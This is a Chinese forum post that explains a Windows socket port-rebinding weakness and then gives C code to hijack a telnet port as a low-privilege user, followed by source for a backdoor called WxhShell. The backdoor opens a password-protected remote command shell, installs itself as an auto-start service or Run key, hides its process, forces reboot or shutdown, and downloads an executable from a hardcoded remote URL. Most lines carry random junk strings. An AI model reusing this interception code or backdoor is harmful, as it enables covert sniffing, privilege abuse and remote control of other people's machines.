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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uL`_Sdjw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZDMS:w.'T  
;5M I8  
  saddr.sin_family = AF_INET; i1}Y;mj  
274F+X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *7FtEk/l  
Gu-6~^Km9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h:[%' htz  
/5pVzv+rm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w a2?%y_G  
7\HjQ7__  
  这意味着什么?意味着可以进行如下的攻击: :;HJ3V;  
t,Ss3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7M7sq-n5z  
"MOM@4\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  ]?M3X_Mq  
K+p7yZJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f@rR2xZoQ  
XOsuRI ?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  LR%]4$ /M  
k> SPtiAs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8Q4yllv4  
{S,L %  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lf-1;6nyk"  
&?"E"GH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;2*hN (  
Wa.y7S0(@  
  #include Cj'X L}  
  #include zsOOx% +  
  #include b*Sw") #  
  #include    _X;xW#go  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9(eTCe-~6  
  int main() %m)vQ\Vtx  
  { '(fQtQ%  
  WORD wVersionRequested; 'ioX,KD  
  DWORD ret; UXgeL2`;  
  WSADATA wsaData; V(wm?Cc]  
  BOOL val; /fgy07T  
  SOCKADDR_IN saddr; ~T">)Y~+xI  
  SOCKADDR_IN scaddr; (J} tCqP  
  int err;  OXDEU.  
  SOCKET s; /3#)  
  SOCKET sc; r^zra|]  
  int caddsize; %1h%#/#[  
  HANDLE mt; {0?^$R8j  
  DWORD tid;   \3q Z0  
  wVersionRequested = MAKEWORD( 2, 2 ); #l 7(W G  
  err = WSAStartup( wVersionRequested, &wsaData ); !A":L0[7n  
  if ( err != 0 ) { <Ukeq0  
  printf("error!WSAStartup failed!\n"); Smg z}  
  return -1; [SJ3FZ<  
  } ` "Lk@  
  saddr.sin_family = AF_INET; o=C:=  
   W<Ri(g-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q[}W&t,  
efN5(9*9R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PJ -g.0q  
  saddr.sin_port = htons(23); uidoz f2}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @;;3B  
  { Ndmki 7A  
  printf("error!socket failed!\n"); pmfL}Dn  
  return -1; FIu|eW+<l  
  } &+|bAn9AJ  
  val = TRUE; H'a6] ]2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d RIuA)0s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [jnA?Ge:  
  { ++\s0A(e  
  printf("error!setsockopt failed!\n"); e5 N$+P"  
  return -1; MMU>55+-  
  } Bi-x gq'z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JO-FnoQK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #n_t5 O[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aE(DNeG-H  
=j^>sg]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9s4>hw@u  
  { 1$_|h@  
  ret=GetLastError(); 0g'MF  S  
  printf("error!bind failed!\n"); SDu%rr7sQ  
  return -1; l3N '@GO  
  }  |\FJ  
  listen(s,2); zD@RW<M  
  while(1) ?G>E[!8ev  
  { C23Gp3_0/  
  caddsize = sizeof(scaddr); LkyT4HC8n  
  //接受连接请求 lk4U/:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fA)4'7UT  
  if(sc!=INVALID_SOCKET) X?7s  
  { 'i:S=E F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +!/pzoWpE  
  if(mt==NULL) Ug#EAV<m  
  { >)t-Zh:n  
  printf("Thread Creat Failed!\n"); +8}8b_bgH  
  break; *RD<*l  
  } ~--b#o{  
  } 6 m%/3>q  
  CloseHandle(mt); /"@k_[O  
  } 9]gV#uF  
  closesocket(s); LS/ZZAN u  
  WSACleanup(); 8a;;MJ)  
  return 0; AzMX~cd  
  }   .A F94OlE/  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?$@E}t8g\  
  { |Hv8GT  
  SOCKET ss = (SOCKET)lpParam; Dc9Fb^]QOG  
  SOCKET sc; W~& QcSWqD  
  unsigned char buf[4096]; R-6km Tex>  
  SOCKADDR_IN saddr; QE6L_\l  
  long num; J9&#);(  
  DWORD val; awgS5We|  
  DWORD ret; vhrURY.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =>*9"k%m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LG vPy  
  saddr.sin_family = AF_INET; ^f] 9^U{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _^h?JTU^  
  saddr.sin_port = htons(23); wV q4DE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u}-)ywX  
  { v*&WqVg  
  printf("error!socket failed!\n"); 2OwO|n  
  return -1; s+9b.  
  } 0Wb3M"#9<  
  val = 100; YK V"bI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yK>s]65&  
  { >mMmc!u>G  
  ret = GetLastError(); mr+8[0  
  return -1; ;F:Qz^=.a  
  } COL_c<\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <3 I0$?xL  
  { ~}Z'/ zCZf  
  ret = GetLastError(); /Z2 g >  
  return -1; snVeOe#'S  
  } oz'^.+uvE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -+n? Q;  
  { 7#sb },J{  
  printf("error!socket connect failed!\n"); Uc0Sb  
  closesocket(sc); ]GiDfYs7%  
  closesocket(ss); o(YF`;OhvS  
  return -1; Lf+3nN  
  } CTZ#QiNP  
  while(1) to#T+d.(v  
  { ui&^ m,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]g]~!":  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %(~8a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b/UjKNf@  
  num = recv(ss,buf,4096,0); U=N]XwjVK<  
  if(num>0) sDS0cc6e  
  send(sc,buf,num,0); kOV6O?h  
  else if(num==0) }4_c~)9Q  
  break; oN[# C>#(  
  num = recv(sc,buf,4096,0); #1[Q?e4,0  
  if(num>0) M(.]?+  
  send(ss,buf,num,0); ;f[@zo><r  
  else if(num==0) \l?.VE D  
  break; T2}ccnDi  
  } -hKtd3WbT  
  closesocket(ss); nE"0?VNW$  
  closesocket(sc); <xAlp;8m5  
  return 0 ; trg&^{D<  
  } CW@G(R  
+zzS  
8_uh2`+Bvb  
========================================================== PF] Vt  
J:2Su1"ODh  
下边附上一个代码,,WXhSHELL nEh^{6  
hJGWa%`  
========================================================== Iq(;?_  
 o[>p  
#include "stdafx.h" "yPKdwP  
du^r EMb%  
#include <stdio.h> l]mn4cn3  
#include <string.h> Cz#3W8jV  
#include <windows.h> M5l*D'GE]  
#include <winsock2.h> !gG\jC~n  
#include <winsvc.h> G2hBJTW  
#include <urlmon.h> 5U.,iQ(d  
) q'~<QxI\  
#pragma comment (lib, "Ws2_32.lib") uH8`ipX  
#pragma comment (lib, "urlmon.lib") &>z}u&oF  
Bk8 '*O/)  
#define MAX_USER   100 // 最大客户端连接数 6WEu(}=  
#define BUF_SOCK   200 // sock buffer C lzz!v  
#define KEY_BUFF   255 // 输入 buffer AK5$>Pkvk  
m NApFwZ  
#define REBOOT     0   // 重启 >Av%[G5=h#  
#define SHUTDOWN   1   // 关机 Tp%4{U/0`  
.E0*lem'hE  
#define DEF_PORT   5000 // 监听端口 ^g*/p[  
<=&7*8u0+  
#define REG_LEN     16   // 注册表键长度 G+l9QaFv  
#define SVC_LEN     80   // NT服务名长度 -I{J]L$S #  
U4,hEnJBT  
// 从dll定义API C 6wlRvWn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -~imxPmZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y^CbpG&-vC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XrQS?D `  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :Qklbd[9qF  
( ?pn2- Ip  
// wxhshell配置信息 6882:,q  
struct WSCFG { ! jb{q bq  
  int ws_port;         // 监听端口 x_|:3I  
  char ws_passstr[REG_LEN]; // 口令 a3oSSkT  
  int ws_autoins;       // 安装标记, 1=yes 0=no m&Lc."  
  char ws_regname[REG_LEN]; // 注册表键名  kn|z  
  char ws_svcname[REG_LEN]; // 服务名 rFR2c?j8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M)!:o/!cS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s\ i.pd:Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ue0Q| h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7Om)uUjU4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P;!4 VK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QprzlxB  
T+|V;nP.  
}; 05m/iQ  
{cBLm/C  
// default Wxhshell configuration G.c@4Wz+  
struct WSCFG wscfg={DEF_PORT, ?4}EhXR(  
    "xuhuanlingzhe", r.;(Kx/M  
    1, 8yc?9&/ |  
    "Wxhshell", Gg9NG`e6I  
    "Wxhshell", 7<VfE`Q3  
            "WxhShell Service", ~+Da`Wp  
    "Wrsky Windows CmdShell Service", y i/jZX  
    "Please Input Your Password: ", iiZK^/P$  
  1, Q{Lsr,  
  "http://www.wrsky.com/wxhshell.exe", IRQ3>4hI  
  "Wxhshell.exe" u3H2\<  
    }; `?L-{VtM3*  
VClw!bm  
// 消息定义模块 dc0Ro,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RU'DUf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6axm H~_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C&ivjFf  
char *msg_ws_ext="\n\rExit."; v`$9;9  
char *msg_ws_end="\n\rQuit."; WtTwY8HC  
char *msg_ws_boot="\n\rReboot..."; P'6(HT>F?  
char *msg_ws_poff="\n\rShutdown..."; !S',V&Yb  
char *msg_ws_down="\n\rSave to "; #UH7z 4u  
md/Z[du:'  
char *msg_ws_err="\n\rErr!"; uz+b  
char *msg_ws_ok="\n\rOK!"; p }bTI5  
fE/8;v!=  
char ExeFile[MAX_PATH]; -j_J 1P0,  
int nUser = 0; 8}W06k>)%  
HANDLE handles[MAX_USER]; :1wMGk  
int OsIsNt; #YSUPO%F  
s:/.:e_PU  
SERVICE_STATUS       serviceStatus; , eZL&n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @kKmkVhu*  
; (+r)r_  
// 函数声明 :[N[D#/z  
int Install(void); [y T4n.f  
int Uninstall(void); (dF4F4`{  
int DownloadFile(char *sURL, SOCKET wsh); VQvl,'z  
int Boot(int flag); hexq]'R  
void HideProc(void); 8D:{05  
int GetOsVer(void); 5yQv(<~*G  
int Wxhshell(SOCKET wsl); A2"xCJ0`  
void TalkWithClient(void *cs); 0ZV)Y<DJ  
int CmdShell(SOCKET sock); c])b?dJ*  
int StartFromService(void); 5Ffz^;i  
int StartWxhshell(LPSTR lpCmdLine); u-h3xj  
Ga%]$4u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "/?*F\5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mf&W<n^j  
<8 At =U  
// 数据结构和表定义 m!:7ur:Y  
SERVICE_TABLE_ENTRY DispatchTable[] = >1tGQ cg  
{ 3Fn26Ri j  
{wscfg.ws_svcname, NTServiceMain}, 7 v<$l  
{NULL, NULL} sz wXr  
}; y=\jQ6Fc  
Tc)T0dRP  
// 自我安装 BifA&o%  
int Install(void) ?Y'S /  
{ d/(=q  
  char svExeFile[MAX_PATH]; O`dob&C  
  HKEY key; :u{0M&  
  strcpy(svExeFile,ExeFile); zux+ooU  
j78xMGKO  
// 如果是win9x系统,修改注册表设为自启动 GD'C^\E aZ  
if(!OsIsNt) { .VmI4V?}h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q[p0bD:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Em@h5V  
  RegCloseKey(key); K. R2)o`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E!VAA=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [JVI@1T  
  RegCloseKey(key); ,/W< E  
  return 0; KF'H|)!K  
    } *4qsM,t  
  } -H`G6oMOO  
} .KT+,Y  
else { c)SSi@< cv  
:*&wnQMKR  
// 如果是NT以上系统,安装为系统服务 im+2)9f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J6 [x(T  
if (schSCManager!=0) u?g!E."v  
{ gqD`1/  
  SC_HANDLE schService = CreateService P+3G*M=}  
  ( ".xai.trr  
  schSCManager, s80_e  
  wscfg.ws_svcname, /@RnCjc'  
  wscfg.ws_svcdisp, uU.9*B=H9  
  SERVICE_ALL_ACCESS, B;;D(NH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pLzsL>6h  
  SERVICE_AUTO_START, *!9/`zW  
  SERVICE_ERROR_NORMAL, ?GFxJ6!%I  
  svExeFile, OqBw&zm  
  NULL, hDlk! #*  
  NULL, e^XijId.  
  NULL, AD?DIE(v  
  NULL, 7^iF,N  
  NULL 6ddkUPTF  
  ); NTL#!  
  if (schService!=0) m4Wn$Z  
  { sD{b0mZT  
  CloseServiceHandle(schService); pN0c'COy^  
  CloseServiceHandle(schSCManager); `6mHt6"h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f aO8 &  
  strcat(svExeFile,wscfg.ws_svcname); "}SERC7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mZ;yk(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EJWMr`zdn  
  RegCloseKey(key); }7=a,1T  
  return 0; DhZtiqL#_  
    } j|`{ 1`'  
  } 4nl>&AV  
  CloseServiceHandle(schSCManager); z}bnw2d]  
} {sm={q  
} Y[~6f,?^  
jq0tMTb%L  
return 1; :LBe{Jbw  
} q<yH!  
(C-z8R Z6  
// 自我卸载 lIFt/  
int Uninstall(void) t^CT^z  
{ o~-X7)]  
  HKEY key; BXfaqYb;Q  
)E7A,ZW,  
if(!OsIsNt) { Ve8!   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==XP}w)m  
  RegDeleteValue(key,wscfg.ws_regname); 9)l_(*F  
  RegCloseKey(key); n~&R_"mv(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k9Sqp :l,  
  RegDeleteValue(key,wscfg.ws_regname); q6Q=Zo@  
  RegCloseKey(key); }qD.Ek  
  return 0; _yWH\5@  
  } _).'SU)>  
} 5R=lTx/Hj  
} hx^a&"  
else { `90v~O F  
kuH;AMdv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g?>AY2f[5  
if (schSCManager!=0) GVl u4  
{ r0 X2cc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /M3D[aR<d  
  if (schService!=0) z'qVEHc)  
  { j&Hn`G  
  if(DeleteService(schService)!=0) { *(vq-IE\$  
  CloseServiceHandle(schService); -YuvEm#f  
  CloseServiceHandle(schSCManager); sRZ:9de+  
  return 0; zDl, bLiJ  
  } 42wcpSp  
  CloseServiceHandle(schService); Mb>6.l  
  } CD&m4^X5D  
  CloseServiceHandle(schSCManager); *[SsvlFt  
} H*\[:tPa  
} .d "+M{I  
tH'VV-!MZ  
return 1; vR)7qX}  
} 6fV)8,F3  
+ kF[Oh#  
// 从指定url下载文件 P+b^;+\1s  
int DownloadFile(char *sURL, SOCKET wsh) Oq2H>eW`f  
{ Iv<9} )2K  
  HRESULT hr; z;/'OJ[.  
char seps[]= "/"; DO\EB6xH>%  
char *token; J7\q #]?  
char *file; mNeW|3a  
char myURL[MAX_PATH]; x>J3tp$2  
char myFILE[MAX_PATH]; ~d8>#v=Q`  
e6R "W9  
strcpy(myURL,sURL); pMB=iS<E  
  token=strtok(myURL,seps); 7P`1)juA9  
  while(token!=NULL) =N{eiJ.(p  
  { &tgvE6/V  
    file=token; 2:N_c\Vi  
  token=strtok(NULL,seps); q],R6GcVr  
  } P\ s+2/  
jkP70Is  
GetCurrentDirectory(MAX_PATH,myFILE); KNg5Ptk  
strcat(myFILE, "\\"); 5qr!OEF2  
strcat(myFILE, file); vf yv a  
  send(wsh,myFILE,strlen(myFILE),0); 2wBU@T1  
send(wsh,"...",3,0); GiZ'IDV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !p&'so^-W  
  if(hr==S_OK) "<2b jy  
return 0; {T.Vu]L80  
else v 2GhR*  
return 1; O<h#|g1  
`az`?`i7  
} cA%U  
Zd(d]M_x  
// 系统电源模块 7:L~n(QpP  
int Boot(int flag) 668bJ.M\O  
{ c_q+_$t  
  HANDLE hToken; 0X?fDz}jd  
  TOKEN_PRIVILEGES tkp; ~yi&wbTjM  
[~<',,tA0|  
  if(OsIsNt) { N1!5J(V4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z]S0AB.Z@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5 WppV3;  
    tkp.PrivilegeCount = 1; u-9t s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _;q-+"6L;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `fkri k  
if(flag==REBOOT) { (d;(FBk='  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iy82QNe  
  return 0; 7h]R{_  
} XC1lo4|  
else { erP>P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  y:OywIi(  
  return 0; W{+0iAYnp  
} Ql@yN@V  
  } % 9/)  
  else { {@ y,  
if(flag==REBOOT) { ^R7zLHU;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H27Oq8  
  return 0; i 9tJHeSm  
} wDhcHB  
else { ];d:z[\P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W>s'4C`  
  return 0; C9H11g7{  
} <M OL{jan  
} ,;P`Mf'YC  
\u _v7g  
return 1; 4<g72| y  
} >.hGoT!_k  
b2=Q~=Wc  
// win9x进程隐藏模块 +Jka:]MW!  
void HideProc(void) px>> ]>ZMH  
{ U9o*6`"o  
Hs}"A,V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]A]E)*  
  if ( hKernel != NULL ) 70 UgKE  
  { !(_xu{(DL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K2rS[Kdfaq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z83:a)U  
    FreeLibrary(hKernel); =P;;&j3Z  
  } '>|*j"jv-  
Kc[u} .U  
return; ).!14Gjo  
} @ KPv&UB  
e~s7ggg2k  
// 获取操作系统版本 '+I 2$xE  
int GetOsVer(void) K}=8:BaUL  
{ UVCMB_T  
  OSVERSIONINFO winfo; 01c/;B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X_({};mz  
  GetVersionEx(&winfo); <SM&VOiaOz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M}oj!xGB  
  return 1; c^Gwri4  
  else , q@(L  
  return 0; &/hr-5k  
} T{H#]BF<E  
:iQ^1S` pH  
// 客户端句柄模块 fI d)  
int Wxhshell(SOCKET wsl) a H|OA\<  
{ K@ sP~('  
  SOCKET wsh; _{`'{u  
  struct sockaddr_in client; @ U8}sH^  
  DWORD myID; ~:}XVt0%8  
qv*uM0G6i  
  while(nUser<MAX_USER) 4fu\3A&  
{ ~sHZh  
  int nSize=sizeof(client); &]yJCzo]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y5i`pY/}#?  
  if(wsh==INVALID_SOCKET) return 1; PDq}Tq  
8P<UO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9MtJo.A  
if(handles[nUser]==0) /IJ9_To  
  closesocket(wsh); FX|lhwmc(  
else KpbZnW}g  
  nUser++; FSwgPIO>  
  } h>^jq{yu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); : 9?Cm`  
,Z*3,/a  
  return 0; @2~O^5[>  
} 0o=6A<#x  
K]pKe" M  
// 关闭 socket P$6f+{  
void CloseIt(SOCKET wsh) :Y J7J4  
{ [%iUg\'7d  
closesocket(wsh); ^Q)gsJY|I  
nUser--; -90ZI1O`  
ExitThread(0); F%_,]^ n[  
} 3n84YX{  
zsMw5C  
// 客户端请求句柄 Fy _<Ui  
void TalkWithClient(void *cs) p[@oF5M  
{ %I|+_ z&x  
vBnKu  
  SOCKET wsh=(SOCKET)cs; $XQ;~i   
  char pwd[SVC_LEN]; q:- ]d0B+  
  char cmd[KEY_BUFF]; l q\'  
char chr[1]; F'UguC">  
int i,j; Dmm r]~  
fs3 -rXoB  
  while (nUser < MAX_USER) { bco[L@6G$  
}*B qi7E>  
if(wscfg.ws_passstr) { 17n+4J]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iA%' ;V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }KD7 Y  
  //ZeroMemory(pwd,KEY_BUFF); LG Y!j_bD  
      i=0; .e FOfV)  
  while(i<SVC_LEN) { |auX*hb9  
#GY&$8.u*  
  // 设置超时 hP4)8>  
  fd_set FdRead; ||'i\X|[  
  struct timeval TimeOut; oc3dd"8}@  
  FD_ZERO(&FdRead); @tE&<[e  
  FD_SET(wsh,&FdRead); \C+*loLs  
  TimeOut.tv_sec=8; aJy>  
  TimeOut.tv_usec=0; 38w.sceaT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C)J_lI{^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s0 \f9D  
DYT@BiW{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yBPt%EF  
  pwd=chr[0]; }rKJeOo^x?  
  if(chr[0]==0xd || chr[0]==0xa) { ,#P,B ;r~  
  pwd=0; &Hlm{FHU  
  break; 7z/(V\9B  
  } <m Ju v  
  i++; +3/k/W  
    } *w'q  
Q3NPwM  
  // 如果是非法用户,关闭 socket DnG/ n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &O+sK4 P  
} f!M[awj%  
h V|v6 _  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z^'?|qFj!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &J lpA<^s;  
J8GXI:y  
while(1) { gqP -E  
KrdZEi vb  
  ZeroMemory(cmd,KEY_BUFF); }@rg5$W  
9S:{  
      // 自动支持客户端 telnet标准   v+!y;N;Q  
  j=0; inr%XS/m  
  while(j<KEY_BUFF) { (C-,ljY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DD12pL{QA  
  cmd[j]=chr[0]; zz(!t eBC  
  if(chr[0]==0xa || chr[0]==0xd) { 2~G,Ia  
  cmd[j]=0; X zi'Lu `  
  break; $zk^yumdE  
  } *Fa )\.XX  
  j++; )K>Eniou  
    } QvG56:M3  
"8wf.nZ  
  // 下载文件 B\=SAi  
  if(strstr(cmd,"http://")) { tr6jh=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yCF"Z/.  
  if(DownloadFile(cmd,wsh)) [+g(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <mv7HKVg  
  else ZQ,fm`y\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #dva0%-1  
  } /<3;0~#){  
  else { |eH wp  
g,t3OnxS?  
    switch(cmd[0]) { Veb+^&  
  Lv `#zgo_f  
  // 帮助 2-vJv+-  
  case '?': { ^l Hb&\X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1fz*S IjG  
    break; -M7K8  
  } `ir&]jh.A  
  // 安装 L# `lQ"`K  
  case 'i': { 82j'MgGP  
    if(Install()) (Oxz'#TX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[u)wX^`f^  
    else Vk MinE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l,*yEkU  
    break; nc3sty1`  
    } q+YuVQ-fx  
  // 卸载 ;j>*;Q`  
  case 'r': { 0lX)Cl  
    if(Uninstall()) mgi,b2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [<]Y+33  
    else Uby,Tu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Y7r \  
    break; 6-mmi7IfO  
    } DRH'A!r!  
  // 显示 wxhshell 所在路径 =?= )s  
  case 'p': { ^y:FjQC:  
    char svExeFile[MAX_PATH]; GE%2/z p  
    strcpy(svExeFile,"\n\r"); u~" siH  
      strcat(svExeFile,ExeFile); UppBnw  
        send(wsh,svExeFile,strlen(svExeFile),0); xj0cgK|!  
    break; PV?]UUc'n<  
    } m!rwG(  
  // 重启 FhWmO  
  case 'b': { @@'nit  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uWUR3n  
    if(Boot(REBOOT)) 3LKB;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M,crz  
    else { ao)Ck3]  
    closesocket(wsh); *f79=x  
    ExitThread(0); K1:a]aU?Iu  
    } Wm<z?.lS  
    break;  ;KZrl`  
    } HbNYP/MN3  
  // 关机 Q m $(  
  case 'd': { -u6}T!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }KK2WJp#M  
